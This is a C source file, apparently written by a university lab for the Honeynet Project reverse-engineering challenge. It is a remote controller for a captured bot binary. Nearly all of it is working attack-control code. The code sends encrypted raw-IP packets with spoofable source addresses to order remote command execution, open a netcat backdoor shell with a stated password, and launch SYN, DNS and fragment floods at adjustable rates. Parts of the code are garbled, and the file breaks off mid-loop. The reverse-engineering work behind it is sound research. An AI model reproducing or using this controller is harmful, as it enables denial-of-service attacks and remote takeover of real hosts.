/* * control.c * Author: The CoPS Lab reverse engineering challenge team * People: Steve Tate, Sachin Joglekar, Vandana Gunupudi, Sandeep Nijsure * Last update: May 17, 2002 * * Remote controller program that controls actions by the binary provided * in the Honeynet Project reverse engineering challenge. */ #include #include #include #include #include /* Compiled and tested on a RedHat 7.2 system */ /* * Simplifications for sample code: * 1) Connectionless control, so could spoof source address in packets * 2) Packet lengths are not randomized * 3) 10 supplied IP addresses for reply not implemented (see command 2) */ void cmd_status(); void cmd_setcomm(); void cmd_exec(); void cmd_exec2(); void cmd_dnsflood1(); void cmd_dnsflood2(); void cmd_dnsflood3(); void cmd_killbg(); void cmd_shell(); void cmd_fragflood(); void cmd_synflood1(); void cmd_synflood2(); u_int32_t targetaddr; int recvsocket; #define BUFSIZE 2048 u_char cmd_buffer[BUFSIZE]; u_char recv_buffer[BUFSIZE]; struct command_s { char *prompt; void (*handler)(); } commands[] = { { "Attack status query", cmd_status }, { "Set communication parameters", cmd_setcomm }, { "Execute command", cmd_exec }, { "DNS reply flood (slow)", cmd_dnsflood1 }, { "Fragment flood", cmd_fragflood }, { "Execute shell", cmd_shell }, { "Silent execute command", cmd_exec2 }, { "Stop current attack", cmd_killbg }, { "DNS reply flood (rate adjustable)", cmd_dnsflood2 }, { "SYN flood (slow)", cmd_synflood1 }, { "SYN flood (rate adjustable)", cmd_synflood2 }, { "DNS request flood", cmd_dnsflood3 }}; #define NUMCOMMANDS (sizeof(commands)/sizeof(struct command_s)) struct packet_s { struct iphdr iph; u_char code; u_char dunno; u_char payload[BUFSIZE]; }; void encrypt(int len, u_char *in, u_char *out) { int i; if (len <= 0) return; out[0] = (in[0]+0x17)&0xff; for (i=1; i0; i--) out[i] = (in[i]-in[i-1]-0x17)&0xff; out[0] = (in[0]-0x17)&0xff; } /* The following was snatched from /usr/include/asm/checksum.h */ /* * This is a version of ip_compute_csum() optimized for IP headers, * which always checksum on 4 octet boundaries. * * By Jorge Cwik , adapted for linux by * Arnt Gulbrandsen. */ static inline unsigned short ip_fast_csum(unsigned char * iph, unsigned int ihl) { unsigned int sum; __asm__ __volatile__(" movl (%1), %0 subl $4, %2 jbe 2f addl 4(%1), %0 adcl 8(%1), %0 adcl 12(%1), %0 1: adcl 16(%1), %0 lea 4(%1), %1 decl %2 jne 1b adcl $0, %0 movl %0, %2 shrl $16, %0 addw %w2, %w0 adcl $0, %0 notl %0 2: " /* Since the input registers which are loaded with iph and ipl are modified, we must also specify them as outputs, or gcc will assume they contain their original values. */ : "=r" (sum), "=r" (iph), "=r" (ihl) : "1" (iph), "2" (ihl)); return(sum); } void cmd_send(int len, u_char *data) { struct packet_s packet; int sockhandle; struct sockaddr_in sa; packet.iph.ihl = 5; packet.iph.version = 4; packet.iph.tos = 0; packet.iph.tot_len = len+22; packet.iph.id = random(); packet.iph.frag_off = 0; packet.iph.ttl = 64; packet.iph.protocol = 11; packet.iph.check = 0; packet.iph.saddr = 0; /* Don't *need* to use the real IP... */ packet.iph.daddr = targetaddr; packet.code = 2; encrypt(len, data, packet.payload); packet.iph.check = ip_fast_csum((unsigned char *)&packet.iph, 5); if ((sockhandle=socket(PF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { printf("Couldn't open socket for send?!?!?\n"); return; } sa.sin_family = AF_INET; sa.sin_addr.s_addr = targetaddr; sendto(sockhandle, &packet, packet.iph.tot_len, 0, (struct sockaddr *)&sa, sizeof(struct sockaddr_in)); close(sockhandle); } uint32_t getipnum(char *prompt) { char buffer[BUFSIZE]; int intype, goodaddr; int len; struct in_addr addr; goodaddr = 1; while (1) { printf("\n%s: ", prompt); fgets(buffer, BUFSIZE, stdin); len = strlen(buffer); if ((len > 0) && (buffer[len-1] == '\n')) buffer[len-1] = '\0'; if (inet_aton(buffer, &addr) == 0) { printf("<%s> is an invalid address\n", buffer); } else { return addr.s_addr; } } } uint32_t getipnumname() { int intype, goodaddr; int ch, len; struct in_addr addr; goodaddr = 1; while (1) { do { printf("Want to enter (1) IP numbers or (2) host name? "); if (scanf("%d", &intype) < 1) return; } while ((intype != 1) && (intype != 2)); printf("\nEnter %s: ", (intype==1)?"IP number":"host name"); ch = 'x'; while ((ch != '\n') && (ch != EOF)) ch=getchar(); fgets(cmd_buffer, BUFSIZE-20, stdin); len = strlen(cmd_buffer); if ((len > 0) && (cmd_buffer[len-1] == '\n')) cmd_buffer[len-1] = '\0'; if (intype == 1) { if (inet_aton(cmd_buffer, &addr) == 0) { printf("<%s> is an invalid address\n", cmd_buffer); } else { return addr.s_addr; } } else { return 0; } } } void cmd_status() { int ch, len; struct packet_s rpacket; fd_set set; struct timeval timeout; cmd_buffer[1] = 1; cmd_send(400, cmd_buffer); FD_ZERO(&set); FD_SET(recvsocket, &set); timeout.tv_sec = 10; timeout.tv_usec = 0; if (select(recvsocket+1, &set, NULL, NULL, &timeout) == 0) { printf("\n*** TIMEOUT ***\n"); return; } len = recv(recvsocket, &rpacket, sizeof(rpacket), 0); if (len < 24) { printf("Got short packet?\n"); return; } if (rpacket.code != 3) { printf("Got packet, but wrong code! (Got %d instead of 3)\n", rpacket.code); return; } decrypt(len-22, rpacket.payload, cmd_buffer); if (cmd_buffer[3] == 0) printf("\nNo BG task running\n"); else printf("\nRunning BG task cmd=%d\n", cmd_buffer[4]); } void cmd_setcomm() { int choice; /* * NOTE: Really 3 possibilities supported by the binary. The one that's * missing here is sending 10 specific IP addresses to respond to. I * didn't want to enter 10 addresses, so that's not included in this * controller! */ printf("\nDo you want a single or multiple random reply IPs (no support for 10 fixed)?\n"); printf(" 1. Single\n"); printf(" 2. Multiple\n"); do { printf("\nYour choice: "); scanf("%d", &choice); } while ((choice != 1) && (choice != 2)); cmd_buffer[1] = 2; cmd_buffer[2] = choice-1; *((u_int32_t *)(&cmd_buffer[3])) = getipnum("Enter the correct IP address for responses"); cmd_send(400, cmd_buffer); } void cmd_exec() { int ch, len; struct packet_s rpacket; fd_set set; struct timeval timeout; printf("\nRemote command: "); ch = 'x'; while ((ch != '\n') && (ch != EOF)) ch=getchar(); fgets(cmd_buffer+2, BUFSIZE-2, stdin); len = strlen(cmd_buffer+2); if ((len > 0) && (cmd_buffer[len+1] == '\n')) cmd_buffer[len+1] = '\0'; cmd_buffer[1] = 3; cmd_send(400, cmd_buffer); FD_ZERO(&set); FD_SET(recvsocket, &set); while (1) { timeout.tv_sec = 10; timeout.tv_usec = 0; if (select(recvsocket+1, &set, NULL, NULL, &timeout) == 0) { printf("\n*** TIMEOUT ***\n"); break; } len = recv(recvsocket, &rpacket, sizeof(rpacket), 0); if (len < 24) { printf("Got short packet?\n"); continue; } if (rpacket.code != 3) { printf("Got packet, but wrong code! (Got %d instead of 3)\n", rpacket.code); continue; } decrypt(len-22, rpacket.payload, cmd_buffer); if (cmd_buffer[2] == '\0') break; cmd_buffer[len-22] = '\0'; /* Just to make sure... */ cmd_buffer[400] = '\0'; /* Can't be longer than 400 */ fputs(cmd_buffer+2, stdout); } } void cmd_exec2() { int ch, len; struct packet_s rpacket; fd_set set; struct timeval timeout; printf("\nRemote command: "); ch = 'x'; while ((ch != '\n') && (ch != EOF)) ch=getchar(); fgets(cmd_buffer+2, BUFSIZE-2, stdin); len = strlen(cmd_buffer+2); if ((len > 0) && (cmd_buffer[len+1] == '\n')) cmd_buffer[len+1] = '\0'; cmd_buffer[1] = 7; cmd_send(400, cmd_buffer); } void cmd_killbg() { cmd_buffer[1] = 8; cmd_send(400, cmd_buffer); } void cmd_shell() { cmd_buffer[1] = 6; cmd_send(400, cmd_buffer); printf("\nInstructions: To access the shell, use netcat to connect to\n"); printf("port 23281 on the target machine. The very first thing you send\n"); printf("must be a line with the backdoor password: SeNiF\n"); printf("After that, it's a standard netcat backdoor shell (with the usual\n"); printf("caveats of no prompts, etc.\n"); } void cmd_dnsflood1() { uint32_t addr; int answer; printf("Identify target. "); if (addr=getipnumname()) { *((uint32_t *)(cmd_buffer+2)) = addr; cmd_buffer[8] = 0; cmd_buffer[9] = '\0'; } else { memmove(cmd_buffer+9, cmd_buffer, strlen(cmd_buffer)+1); cmd_buffer[8] = 1; } cmd_buffer[1] = 4; printf("Enter source port (0 for random ports): "); scanf("%d", &answer); *((unsigned short *)(cmd_buffer+6)) = htons(answer); cmd_send(400, cmd_buffer); } void cmd_dnsflood2() { uint32_t addr; int answer; printf("Identify target. "); if (addr=getipnumname()) { *((uint32_t *)(cmd_buffer+2)) = addr; cmd_buffer[9] = 0; cmd_buffer[10] = '\0'; } else { memmove(cmd_buffer+10, cmd_buffer, strlen(cmd_buffer)+1); cmd_buffer[9] = 1; } cmd_buffer[1] = 9; printf("Enter source port (0 for random ports): "); scanf("%d", &answer); *((unsigned short *)(cmd_buffer+7)) = htons(answer); printf("Enter rate value [1..255] (higher numbers are faster floods): "); scanf("%d", &answer); cmd_buffer[6] = answer; cmd_send(400, cmd_buffer); } void cmd_dnsflood3() { uint32_t addr; int answer; printf("Identify target DNS server. "); if (addr=getipnumname()) { *((uint32_t *)(cmd_buffer+2)) = addr; cmd_buffer[13] = 0; cmd_buffer[14] = '\0'; } else { memmove(cmd_buffer+14, cmd_buffer, strlen(cmd_buffer)+1); cmd_buffer[13] = 1; } cmd_buffer[1] = 12; addr = getipnum("Enter source IP (0.0.0.0 for random IPs)"); *((uint32_t *)(cmd_buffer+6)) = addr; printf("Enter source port (0 for random ports): "); scanf("%d", &answer); *((unsigned short *)(cmd_buffer+11)) = htons(answer); printf("Enter rate value [1..255] (higher numbers are faster floods): "); scanf("%d", &answer); cmd_buffer[10] = answer; cmd_send(400, cmd_buffer); } void cmd_fragflood() { uint32_t addr; int answer; printf("Identify target. "); if (addr=getipnumname()) { *((uint32_t *)(cmd_buffer+4)) = addr; cmd_buffer[12] = 0; cmd_buffer[13] = '\0'; } else { memmove(cmd_buffer+13, cmd_buffer, strlen(cmd_buffer)+1); cmd_buffer[12] = 1; } cmd_buffer[1] = 5; addr = getipnum("Enter source IP"); *((uint32_t *)(cmd_buffer+8)) = addr; printf("Do you want to use (1) ICMP packets or (2) UDP packets? "); scanf("%d", &answer); cmd_buffer[2] = answer-1; /* * NOTE: The following seems to be a programming bug in the binary. * When UDP packets are selected, it looks like they're creating a * UDP header, and so the value entered below would actually be the * destination port. However, since it's a fragment with a high * offset, this isn't the UDP header at all... We still have the * option of setting it in this control program so that all the * parameters to this command are documented. */ if (answer == 2) { printf("Enter a byte value (0..255) to use for the 4th data byte: "); scanf("%d", &answer); cmd_buffer[3] = answer; } cmd_send(400, cmd_buffer); } void cmd_synflood1() { uint32_t addr; int answer, ch; printf("Identify target. "); if (addr=getipnumname()) { *((uint32_t *)(cmd_buffer+2)) = addr; cmd_buffer[13] = 0; cmd_buffer[14] = '\0'; } else { memmove(cmd_buffer+14, cmd_buffer, strlen(cmd_buffer)+1); cmd_buffer[13] = 1; } cmd_buffer[1] = 10; printf("Do you want to use (1) Random source IPs or (2) a fixed source IP? "); scanf("%d", &answer); cmd_buffer[8] = answer-1; if (answer == 2) { ch = 'x'; while ((ch != '\n') && (ch != EOF)) ch=getchar(); addr = getipnum("Enter source IP (0.0.0.0 for random IPs)"); *((uint32_t *)(cmd_buffer+9)) = addr; } printf("Enter destination port: "); scanf("%d", &answer); *((unsigned short *)(cmd_buffer+6)) = htons(answer); cmd_send(400, cmd_buffer); } void cmd_synflood2() { uint32_t addr; int answer, ch; printf("Identify target. "); if (addr=getipnumname()) { *((uint32_t *)(cmd_buffer+2)) = addr; cmd_buffer[14] = 0; cmd_buffer[15] = '\0'; } else { memmove(cmd_buffer+15, cmd_buffer, strlen(cmd_buffer)+1); cmd_buffer[14] = 1; } cmd_buffer[1] = 11; printf("Do you want to use (1) Random source IPs or (2) a fixed source IP? "); scanf("%d", &answer); cmd_buffer[8] = answer-1; if (answer == 2) { ch = 'x'; while ((ch != '\n') && (ch != EOF)) ch=getchar(); addr = getipnum("Enter source IP (0.0.0.0 for random IPs)"); *((uint32_t *)(cmd_buffer+9)) = addr; } printf("Enter destination port: "); scanf("%d", &answer); *((unsigned short *)(cmd_buffer+6)) = htons(answer); printf("Enter rate value [1..255] (higher numbers are faster floods): "); scanf("%d", &answer); cmd_buffer[13] = answer; cmd_send(400, cmd_buffer); } int main(int argc, char *argv[]) { int choice, i; struct in_addr *addr; struct hostent *result; if (argc != 2) { fprintf(stderr, "Usage: %s host-to-control\n", argv[0]); exit(1); } if ((result=gethostbyname(argv[1])) == NULL) { fprintf(stderr, "%s is an invalid host specification.\n", argv[1]); exit(1); } addr=(struct in_addr *)result->h_addr_list[0]; targetaddr = addr->s_addr; if ((recvsocket=socket(PF_INET, SOCK_RAW, 11)) < 0) { printf("Couldn't open recv socket -- got root?\n"); exit(0); } while (1) { do { printf("\nYour command, oh mighty one (enter 0 for menu): "); if (scanf("%d", &choice) == 0) choice = NUMCOMMANDS+1; } while ((choice < 0) || (choice > NUMCOMMANDS+1)); if (choice == 0) { putchar('\n'); for (i=0; i